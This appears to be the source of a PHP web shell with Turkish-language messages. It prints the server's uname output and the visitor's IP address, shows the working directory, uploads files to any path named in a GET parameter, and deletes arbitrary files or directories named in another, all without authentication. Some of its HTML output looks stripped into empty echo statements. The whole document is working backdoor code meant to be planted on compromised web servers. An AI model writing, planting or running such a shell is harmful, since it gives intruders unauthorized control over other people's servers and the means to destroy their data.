|
$id=$_GET['id'];
if ($id=="") {
echo "
Hakkimda: panpa ben bi shellim ya insan bile degilim :(
";
echo "uname -a : ". php_uname();
echo(' ');
echo "
beni kullandigin icin tesekkur ederim beyefendi <3 : ".
($_SERVER['REMOTE_ADDR']);
echo "";
}
$homedir=getcwd();
$dir=realpath($_GET['dir'])."/";
if ($id=="fm"){
echo "
bulundugumuz yer: $homedir
";
echo "
";
}
$rpath=$_GET['dir'];
if ($rpath <> "") {
$uploadfile = $rpath."/" . $_FILES['userfile']['name'];
print "";
if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
echo "";
echo "";
}
}
$frpath=$_GET['fdelete'];
if ($frpath <> "") {
if (is_dir($frpath)){
$matches = glob($frpath . '/*.*');
if ( is_array ( $matches ) ) {
foreach ( $matches as $filename) {
unlink ($filename);
rmdir("$frpath");
echo "";
echo "";
}
}
}
else{
echo "";
unlink ("$frpath");
echo "";
exit(0);
}
}
?>
|
|